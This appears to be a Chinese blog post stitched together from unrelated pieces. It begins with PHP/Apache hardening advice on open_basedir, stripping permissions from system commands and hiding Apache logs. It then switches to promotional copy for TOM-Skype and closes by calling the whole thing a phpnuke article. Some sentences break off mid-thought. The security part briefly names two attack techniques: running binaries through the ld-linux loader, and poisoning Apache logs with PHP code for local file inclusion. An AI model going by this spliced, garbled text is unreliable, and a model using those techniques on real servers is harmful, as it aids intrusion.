前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说”open_basedir=/dir/incl”也会允许访问”/dir/include”和”/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:”open_basedir=/dir/incl/”。

可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2/bin/ls这种方式来执行。

如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。

如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

什么是skype

TOM-Skype是TOM在线和 Skype Technologies S.A.联合推出的互联网语音沟通工具。TOM-Skype采用了最先进的 P2P技术,为您提供超清晰的语音通话效果,使用端对端的加密技术,保证通讯的安全可靠。您无需进行复杂的防火墙或者路由等设置,就可以顺利安装轻松上手。

TOM-Skype有以下突出优点:

超清晰音质:TOM-SKYPE采用最先进的第3代的 P2P网络技术(“3G P2P”),或称做“全球索引”(GI- Global Index),该技术是一个由 supernodes(超节点)组成的多点网络,每个点之间均保持沟通,所以对于其他点的资源都可以做最好的利用。也就是说这种P2P网络串联了终端用户本身电脑的处理能力,而当终端用户人数增长,也就是新的使用者加入之后,则整个网络的处理能力同时跟着本身使用人数增长。同时,TOM-SKYPE设计上与最优秀的声学专家合作,彻底解放传统意义上300Hz到3000Hz频率的电话语音效果。让用户可以听到所有频率的语音,从最低沉的到最尖锐的。基于以上两点,确保了TOM-SKYPE提供了最好的语音通话效果,无延迟、断续、杂音。

超强穿透能力,穿透防火墙及NAT:没有位于防火墙之后的节点和公共可访问的IP地址可以帮助实现路由需要网络地址转换的节点之间连接。这样,两个本来无法建立连接的节点便可以直接互相通话。当然,所有要传递的数据都是端对端加密的,所以这些被用来作为代理的节点不可能中途破解信息,保证了安全性和隐私性。当然,只有有富余资源的节点才会被用来做代理,所以这些节点的性能不会被影响。凭借于此,其它聊天工具不能正常连接的时候,TOM-Skype仍可正常使用。他可以穿过互联网的防火墙,轻松突破安全屏蔽的瓶颈。可以与所有防火墙、 NAT和路由器一起使用,且无需进行任何配置!在您使用其它同类产品不能正常连接的时候,TOM-Skype通常可以,例如语音通话、文件传输等。

全球搜索引擎:多数即时通讯软件或其他通讯用软件都需要一个中央化的资料库,藉此给用户建立一个固定的帐号、以及动态IP地址间的连接。由于动态IP的网络用户在重新连接网络时IP地址改变,多数即时通讯软件使用了中央资料库来搜索每一个使用者帐号以及IP,并判断是否上线。这种集中式目录在用户基数增加到百万以上之后,资源耗费会非常大,出现搜索失败,服务器停止响应等情况。TOM-SKYPE基于非集中式全球搜索目录的全球搜索引擎,使用多层次网络结构,这确保了搜索用户的高效性和准确性。

传超大文件: TOM-Skype的文件传输功能同样采用了P2P的技术。文件在传输过程中进行了加密,这突破了传统IM软件文件传输无加密或低数位加密的弊端。传输的文件尺寸大小无限制(可达若干G),支持断点续传(如果传输过程中因为网络原因或者关机等,下次启动可在原来的基础上继续)。文件传输可跨平台进行,即可以在不同的操作系统Windows、Mac和Linux平台间进行。

无延迟消息:TOM-Skype可以给您全球好友发送无延迟的文本消息,沟通更加简易方便。传统的Client-Server模式网络由于需要服务器中转,造成信息传输受服务器资源和网络环境限制过大,经常出现延迟和发送失败。TOM-SKYPE采用先进P2P网络的优势再一次体现,由于充分利用网络节点资源,分散的节点空闲资源被智能的调度和合理利用,保证了文本消息发送和接收更加快捷高效。

跨平台使用:可运行于Windows、苹果MAC、Linux和PPC便携设备上。现在流行的IM类软件一般都只能在Windows平台上运行。Skype同时还可以在Mac OS X,Linux,和Pocket PC平台的PDA上使用,并且在不同的平台上有适合本平台的界面。语音聊天、发送即时消息、甚至传送文件都可以在不同的平台之间进行。无需因为使用的不同的操作系统而无法与其他用户进行沟通。

多方交流、文件群发:TOM-Skype可以进行多达5人的清晰的多方会议呼叫,先进的音频降噪技术和多路混音技术确保了多人通话的清晰度和自由度,传统网络会议摘话筒的通话形式被彻底颠覆。另外,TOM-SKYPE还支持多达50人的文本信息会议交流,并提供定制会议主题等贴心功能设计,值得一提的是会议中的文件群发功能,迅速、高效,勘城实用主义的典型设计。同样的,多方交流,文件群发也都采用end to end端对端加密,任何人无法截取信息。这不仅使得用户可以与好友们联络感情,还可以方便的进行商务会谈。

通话加密:TOM- Skype使用AES(高级加密标准)加密方法,在信息(语音、即时消息、文件)发送之前进行加密,这种end to end端对端的加密算法与美国政府用来保护机密数据安全的算法相同。使用了256位加密机制,这种机制共有1.1 x 1077种可能的Key,可以动态的将每个呼叫和即时消息加密,在接收到的时候进行解密,不会在中途被窃听。而且数字签名方式也保证存储在P2P网络中的用户数据不被篡改。在用户登录的时候TOM-Skype采用1536和2048位RSA来生成对称AES密钥。用户的公共密钥(public keys)在TOM-Skype服务器进行验证。这些层层保密措施使得用户使用TOM-Skype非常放心。

开放API(应用程序接口):这其自由、共享、创新理念的直接体现,TOM-SKYPE的开放 API将会有非常广阔的应用前景。对blogger来说,我们只要把引用Skype API的网页脚本加入我们的blog或是邮件的签名档中,便可以即时的显示我们的Skype在线状态、图片、个人资料等信息,比一个简单的SkypeMe图片链接要强得多。当然,还可以利用它来迅速的建立客户服务网站,或者是功能强大的聊天室等等。有了开放的 API,只要通过USB连上一台接入互联网的电脑,就可以像使用普通电话机一样的接通任何的Skype用户,并可以利用SkypeOut以低廉的价格来拨打全世界的固定电话和手机。Skype与论坛的结合,会给网上虚拟社群的交流模式带来新的变化:从单纯的文字到语音的辅助;从一个群体的公共论坛讨论到辅以个人之间的更快捷的交流。这对于社群内部用户之间的交往,对于社群本身的粘合度来说,都是一种有趣的尝试。正是有这种需求,国外很早就有人针对PhpBB和PhpNuke开发了Skype Mod的插件。使用它,可以在帖子后显示该用户的Skype的图片和对应的帐号,就像原先显示的ICQ、Msn那样。不过和其他的通讯方式不同,它不需要彼此添加为“好友”之后才能联系,没有了这层障碍,用户之间的交流的驱动力也就更为流畅的得到实现和鼓励了。

清新易用的风格:目前流行的IM软件不管是tencent的QQ还是microsoft的msn都在周边功能和界面上大做文章,越来越脱离IM软件实用主义的轨道,相对于他们眼花缭乱的界面,华而不实的功能和扰人的广告,IM功能上却由于核心架构的缺陷而不尽人意。TOM-SKYPE反其道而行,界面风格清新自然,给人眼前一亮的感觉,使用上没有复杂的设置,没有花哨的附加娱乐功能,更没有任何商业广告,这种反普归真的设计理念使用户不需要强迫自己去适应TOM-Skype,而是TOM-Skype完全按用户的需要来工作,且更稳定、更高效。相信简约却不简单TOM-SKYPE将带给用户超越以往任何的IM通讯新感受!

关于phpnuke到此分享完毕,希望能帮助到您。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享